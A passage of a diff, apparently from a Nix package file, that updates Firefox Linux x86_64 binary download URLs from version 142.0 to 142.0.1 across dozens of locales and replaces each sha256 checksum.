+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/he/firefox-142.0.1.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "a7be1bf9bd8511f2a989e3d5efc6393d9345f1c5e2d32b9d2cfe1c437bcbfebb";
+      sha256 = "2fc5c4a91b6c3643c72641883b5cf1d2f3163d569f56927503f2f8fe0cc85cf3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/hi-IN/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/hi-IN/firefox-142.0.1.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "f898b3feda7d77cef6118275a952c22152510b59f4421654c845804ffe7b18a4";
+      sha256 = "d15db2225f830fa00eaaf6c1f2c3423c034cde89cfa55c4740995864e3796279";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/hr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/hr/firefox-142.0.1.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "f79a590a4ea20e3cf7ae409c2e57ffde17a115a190a1041a2ed6b31ef8751a1b";
+      sha256 = "6d253d0f138ac95b11dfc37468feec420d6899abede206b771c7e7399576999e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/hsb/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/hsb/firefox-142.0.1.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "8024d111749d767df4f505083ab71e2262588b099401852486b01793801a6f52";
+      sha256 = "2db5235ec7d4565c94a19372ce19d0876b4b046a2f8d44c6c080312ec22cac54";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/hu/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/hu/firefox-142.0.1.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "b817751a906dce2fcbe603584519c3d9f5aaf165b42d7d76078cf6e427f7cc4a";
+      sha256 = "0857ffd6f162c89fa0b7e918006ee2eccc21e8e822ac01d0fa88e04899306f83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/hy-AM/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/hy-AM/firefox-142.0.1.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "fa3b3ba641cedb46e407951e54ad0974e42a0a064eda28a381d8d354d1077615";
+      sha256 = "a2538e3c4ba034ffaa37d66c8dd9e68f65b5b1b938e5c207c3618747b6aee379";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ia/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ia/firefox-142.0.1.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "890ee1b281307a1bb18307d799179810ac8c0c4598cde13743f0071a72d8efd7";
+      sha256 = "684392ac7e4746d3293a78fe3448f599becaf07b1efc3ce4f797ef39d7805695";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/id/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/id/firefox-142.0.1.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "91e3559c31afc494e380312c253f2681ed0b0cb2ad6d78239de9d2e5302aa437";
+      sha256 = "ed6db2a881359d578bae448408c338a871b7710c443a85aac0604ee475d1948c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/is/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/is/firefox-142.0.1.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "40a5d4b7484dac6574569be2516d79a372ba92b9ef02f3c56629bcd8b59772fc";
+      sha256 = "3d2bc683c5ea92aa2e27e8089ef80fc5e5935c6ab73e19eeb7b1a05578ed84a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/it/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/it/firefox-142.0.1.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "4ae36b25a62701dd67443ee9c97cffd60b9d05c2d2cefbf0594292929f0d2397";
+      sha256 = "6841b97837420fd73b39fcb31a5f19c986ec2a0129efd87b9066aaf5cb505f0c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ja/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ja/firefox-142.0.1.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "7523b6ed419578a9c3a5e5f96ed5d18e3e38f0fe688f4c61652e794d564a895b";
+      sha256 = "d666f9208d8cd15f81877a398c2b481a8ea569d1aa1eae2781a259afe9e2db04";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ka/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ka/firefox-142.0.1.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "58a732e118e661dc6c85b1940e627d0a87e12107b7dae28d6e760672019e5174";
+      sha256 = "5340031715655f7efb70d754f2c4aa0c6f278c596fbd3e16a4f6f0c170559238";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/kab/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/kab/firefox-142.0.1.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "9b156db9489d37504a82429a0df7ab5932c364bc882c9d18a1ece58454fa6044";
+      sha256 = "66e2b23c1ff5c18d785cf5aabe92a9c04d15c222f03a47a8f11751da8b6892e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/kk/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/kk/firefox-142.0.1.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "014805d500a11d057e01fb359ab14f729b2bc2760d976abfa498b9a737f4b633";
+      sha256 = "a2deda587dac9ad7999fdf8e7e902aa02b054c8979da97bd99cc89fa3666c79d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/km/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/km/firefox-142.0.1.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "6a160215eb1f63737dbf12fd50329e6f9c32fb237e9fda2fe1ccf59391a02518";
+      sha256 = "52b0aa695756dcadc7181f2e233df84d69bfff59af04f649b01d8c5d2b741c94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/kn/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/kn/firefox-142.0.1.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "ca4a3d58f03065ca5a41dbaaff94593275ea66c88bc86917aa0378c7ec9e5787";
+      sha256 = "c4ed63811c569e0fbd22c8055d0a1da5a2168ae9c67cab5858bff91b7501bbfa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ko/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ko/firefox-142.0.1.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "d15029751353b8b5443113f5ddedb2563a76ffd13486657027982aef27f9764b";
+      sha256 = "8948bbaafc4fe1c856ba80f3a106f742e4f4b4676ff44c79f55d93f9aa049680";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/lij/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/lij/firefox-142.0.1.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "72a2a6196b20637ac5707a8b008a066ccfe7cd5b5effd69004472daf15cd79ab";
+      sha256 = "d2b8ac5671530f4f98bb9f17c0c0c668bfbcfcba135049290c7600213af488d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/lt/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/lt/firefox-142.0.1.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "b4d1c58b93deb09ffc3247ca1e41896ec115c4b779d90fec1fc88707019c77a2";
+      sha256 = "2414cac2984ffab10ce3527a62fbbbdd316d50ebe8f17e76a9debbc784d7608b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/lv/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/lv/firefox-142.0.1.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "333700baaeef92678591a5f475bcab96c56369c3c05ec29b189221351f5d5bc5";
+      sha256 = "f8435d29e960d1f482d5803fc50aa651aa367a9ab3ed68b290b49f3bf1a97b79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/mk/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/mk/firefox-142.0.1.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "e964be73f05d573a73dfbc1ae7b91874045264a98268debea93c73c3257dd5ba";
+      sha256 = "47b8017e677bfdcfd6c792827cf1739ef0de1320ef4bdfd8b69468ae007b23ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/mr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/mr/firefox-142.0.1.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "0e835694db9b4dcf7a1bd1e660b9a9ae4674a68aba1ccabece9171200c2a48e5";
+      sha256 = "c3a14f94d7792ed36b6531c961dba5c798966cb5a33b6d226270c89535ec5ae6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ms/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ms/firefox-142.0.1.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "120ec06da676f32673028204d3b90d31a3cc1ed89a654b58a3aa79e0c638f38a";
+      sha256 = "07a514b728bba1a15b805a075ca77e45ba0906e3bbe69d13618c0befb28fe9cb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/my/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/my/firefox-142.0.1.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "711884e25a99c139d0e8ed06f16d581b2975fffb54e1e76026344f640bec6706";
+      sha256 = "b084633a1a345cfb67ba7e36e6570ccba914bce2cd4b9aa32c57d1dbea7df856";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/nb-NO/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/nb-NO/firefox-142.0.1.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "7c94754b50b523887ccd8931181d34f0a113390de40c090cb6d13b1e0dee2524";
+      sha256 = "d1448c2ccedc8a89f213696661e498205c3868688ddce20fe3f2e247d23958ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ne-NP/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ne-NP/firefox-142.0.1.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "41a2d302ec4a2c0cb30e36cf325e89f19bb1ff25a2f96e494b14f1578ccc78fd";
+      sha256 = "177d88f29768cebd02aa2c12ec93597ab2abb16193828c1acfe91a731d7371c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/nl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/nl/firefox-142.0.1.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "247dec3c13da214027d5b48837c145d573891c6a1371ba8926a2bcc4be65b751";
+      sha256 = "f22772e17ff3a629774bbab52a916bc9952d935512c5346505c539ef2c2991e5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/nn-NO/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/nn-NO/firefox-142.0.1.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "b57a14eab995933d3d940dcbab2dc5240dd903578be6e4ddb145e16076ddeeeb";
+      sha256 = "2352bcb7b61fda6df19a701a0dad01afd5cd91af7d6740d437b1607f19cef626";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/oc/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/oc/firefox-142.0.1.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "009ed4a141a5786a057267e4e36defd2844a17282edc13265a838a1716ebfc36";
+      sha256 = "e9ac5f94a0a7f20fc473ac52a2c92ac6ad9b888353de5533591b19873e01fd2f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/pa-IN/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/pa-IN/firefox-142.0.1.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "aa64c7d7c3cdd8de4a16da60b25f09494c47e4aa17add61d8ecc9e9926c92567";
+      sha256 = "d5f8de8fc1036b239fae74f925fc36077b4a6f876c2252479224175463013d8d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/pl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/pl/firefox-142.0.1.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "51c0acceeee93f3125d64eaf3626be297da3ebe7997cd850056b13f4c161ee3f";
+      sha256 = "fab4bbe1810f19b4c2a74e41acce77cd2d6573f691b855b2bf224b535bac5650";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/pt-BR/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/pt-BR/firefox-142.0.1.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "46be026a9a453aa4d882652040a07f8fe0acacd8cf61e4967bb488c36e23b0e8";
+      sha256 = "92bde21bb74cd13620ffee694c6a2c5c97a1b65da3fc7edb5d4e707deb18693f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/pt-PT/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/pt-PT/firefox-142.0.1.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "54a827e362ba0903077cfd4d331d3a3387a2b5e0b7ee04b9141963b872e44672";
+      sha256 = "8a7c4b0e861cb19badddd7579c5ecaac598a26ded60e31d72cc962f17368a394";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/rm/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/rm/firefox-142.0.1.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "8e365d64a7a9fbd2954e9ae366ebfbd4cd94f82b77a0c4af184911481d89f456";
+      sha256 = "beb35836f989fbb424a6aae4ffe62cfe3ba41da51fb12c3c0538eb4ffc03a9ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ro/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ro/firefox-142.0.1.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "ca780d538f0f96a269e3eb41cf0de0740ddd1602534f0a08ac0e34bf8b0b3284";
+      sha256 = "5a6eb78e54f7ed3ae52c8a52c0a1d0e9b64217ff235a66ae4d4a79a24ee165b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ru/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ru/firefox-142.0.1.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "105cbd709553de005c3f7828dd7b1e2c1320d8398462447fe408878c72a9312a";
+      sha256 = "ef7b595b1d783b78e29aebd7a67b228535df98faa6847668b02950da04d9a069";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sat/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/sat/firefox-142.0.1.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "3850174c7b2f5ec333247c2694949e5eb554e0424a10ef2bdb21853f77d0d720";
+      sha256 = "bb890b64122c9fa5119b252f675e87bc64be1c020bd8f93124dbe7463f8c5524";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sc/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/sc/firefox-142.0.1.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "b2090afa84c4449fb87e2f0c71720da55b209f43ebe4b4489d2e00724908de16";
+      sha256 = "76ecd0e9f2eb05e9e504418af7c5bd28a9335abbe41920027d150cb2b09de895";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sco/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/sco/firefox-142.0.1.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "e5c13cf87aee1e06723fc3766a2ff96772fd7dffcedda80a2ee52a69ac7c45f7";
+      sha256 = "25c7486d1cf9baba30bfa9073c2943a0c98ef571111250815768a78c8ea50354";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/si/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/si/firefox-142.0.1.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "6447693b7dca2ffb282073e6a0142be2eeb43b22c3ad70c23e1b77e137ddd153";
+      sha256 = "01937e301a00538e79bb22a542f652b2a7cd90db5a556e4d098acc16b158646b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sk/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/sk/firefox-142.0.1.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "3bc2a3f3e5af935a48253ee3d318cd97a41fc0712ebfa9fc1d9790a868065da6";
+      sha256 = "ef0041f4d9861be3bd2a0a5509f7016940c0af84bd3abed81dba4722960892e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/skr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/skr/firefox-142.0.1.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "4b56fcc03f7101dd92f05021a9a0335ac4b6f3c800e4ccbec261b504243d1aec";
+      sha256 = "9c5cae10e0f0b9540e7e71984df631a74801612bdf80c17fc86d0a4bf80e481e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/sl/firefox-142.0.1.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "4ff34389bd3c41aed9e7fbc7eacdfeedba1cb2dd47a6e7683fb19a5356786cd7";
+      sha256 = "d209fa4c9d029b7f40264ed0762a89bdef3343c13c918a192b40a37ddda3b731";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/son/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/son/firefox-142.0.1.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "74fb0405402e590c0d61b9c5088cb7cda1c2ef85463c3c971c17f189b5fbb8be";
+      sha256 = "2f10145411a43cb54c33ef7cbd91a3bba6027e0c4e747919b832c512b3fc76dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sq/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/sq/firefox-142.0.1.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "0f64d1b9a1a5c2b1943281737f52fec1243b1d4608628e5c5d7dcbfbd498f72d";
+      sha256 = "5701093eca2447ac0302fb1a7ac2dcafd09b5299488b26bb0a10c766bc159eb7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/sr/firefox-142.0.1.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "d9987ab490f232327d0aa43f02efa0912b66fff9b8c25171afcd7f4b50addc7f";
+      sha256 = "4680628df24a611437db82b7a346b3cd0448eec2213210006e534374222aa3f2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/sv-SE/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/sv-SE/firefox-142.0.1.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "2a332785288057d97da6e35683538102c89009e4a0f513fde375bee5534b7ff2";
+      sha256 = "d6e4ec2a16cc86fb92ad248c8e9b643e1a3c9d2ede249182d2718235ef98d217";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/szl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/szl/firefox-142.0.1.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "3ce788078efac5a9e9e2d71032f0a66e75e15b7917bcd1a94d1317aa3c2affab";
+      sha256 = "751d0e5bf92519b08dcee74acdefa1643bb7793dfc078c6e010df918748eaaf7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ta/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ta/firefox-142.0.1.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "3bee43ee483a17fb065b462fd913b5d5d805edacdbcb944954f4e99a093e43b6";
+      sha256 = "be0744681ef5c45ba5236be1313ef7c0d4b6551f7c52548be14bcd382e0094ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/te/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/te/firefox-142.0.1.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "2ad61bc631e07ab5c7ef9b52596f0b18dc314ef8eef78568e14a01de08ffd4fd";
+      sha256 = "ad1f9e1331eecc46ce990cf755e0f9c37fb79273fda5ccf56f20e6d6b34cdc4b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/tg/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/tg/firefox-142.0.1.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "782eaeef612c200c1301e6850f659925fb2b24ff8a00f1f79160a62eb25a855d";
+      sha256 = "f2f9ab25ed09032ff272b5f143b15b03fc1ebe2104b2b46eb7e17f45f9feaed3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/th/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/th/firefox-142.0.1.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "912c0f1c6d1819597da3cb08c7c668db12051708bdadbd4539a1cc4f8a685b23";
+      sha256 = "32dd571b5228209e9a7e85911876b0da9711b1e538a39015da9e0f5cf596152d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/tl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/tl/firefox-142.0.1.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "971d7da5f1f42afa3511249e46d687bb71518c4538460f08c7b5c7069bee2d12";
+      sha256 = "650bb0db4a6fc48331f8e51fe2adaf03fd0f0c069ce81bd6ed6bba18078b9d95";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/tr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/tr/firefox-142.0.1.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "a63e0c5667c45f039416e445bb289030aa349be7796d196d31d6900c19628559";
+      sha256 = "5ce98b4850be305d06fca2d92737eb4694f535cc960fdc845ade2fe07d06f2ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/trs/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/trs/firefox-142.0.1.tar.xz";
       locale = "trs";
       arch = "linux-x86_64";
-      sha256 = "ade9d7d1fabc7243e234e7569280b8aa31105a30cf029af889a73fbe990d236a";
+      sha256 = "21f651e33bb9dab96833da455210c63e0f5fc0431c2dc4a425c8f2b2fce4f44d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/uk/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/uk/firefox-142.0.1.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "8b0996b524fd6c1a1340a40fae0b5191017a644e9dc2568fad27c776c26010b5";
+      sha256 = "9d1bc9cd8f6252e5b4d6512787143e9f7da9bd74f122ca98398b612b83d52aff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/ur/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/ur/firefox-142.0.1.tar.xz";
       locale = "ur";
       arch = "linux-x86_64";
-      sha256 = "9c5182b9b50c628f013fed8c41c386604b94387f6ac1f15fa15aff9b9ddb7683";
+      sha256 = "bd9e86a9369fc007df82d44d085f0b8b08cdc34c5ea91b97832421fcf90489c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/uz/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/uz/firefox-142.0.1.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "327575842eeb0dea826665fc48bc60e397b44a9178cd9e9eb86cd64fc5581fbf";
+      sha256 = "c3a83b9898f894186d6fc53e4cfe7b34923b035f0947faecb36c89e717c44d88";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/vi/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/vi/firefox-142.0.1.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "31560864ac90a9c608add4e919a00d64a985a479a9064660003d22946eeb926b";
+      sha256 = "fd6e58196f769a7e64206cd0465ce186aecb8f84f251978f72d77769d5f85daa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-x86_64/xh/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-x86_64/xh/firefox-142.0.1.tar.xz";
       locale = "xh";
       arch = "linux-x86_64";
-      sha256 = "78d7ef260cec395b672c65e71861df41935fa6c9184d8506e884b70a480a4e0a";
